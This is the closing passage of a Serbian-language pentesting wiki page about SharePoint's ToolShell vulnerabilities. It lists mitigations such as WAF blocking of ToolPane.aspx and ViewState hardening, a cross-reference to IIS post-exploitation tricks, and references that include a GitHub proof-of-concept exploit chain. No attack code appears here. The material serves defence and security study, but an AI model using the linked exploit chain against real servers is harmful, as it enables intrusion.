4. Blokirajte spoljašnji pristup `/_layouts/15/ToolPane.aspx` na proxy/WAF nivou.
5. Omogućite **ViewStateUserKey**, **MAC enabled**, i prilagođeni *EventValidation*.
## Povezani trikovi
* IIS post-ekspolatacija i zloupotreba web.config:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## Reference
- [Unit42 Aktivna eksploatacija ranjivosti Microsoft SharePoint-a](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC ToolShell lanac eksploatacije](https://github.com/real-or-not/ToolShell)
- [Microsoft Security Advisory CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Microsoft Security Advisory CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}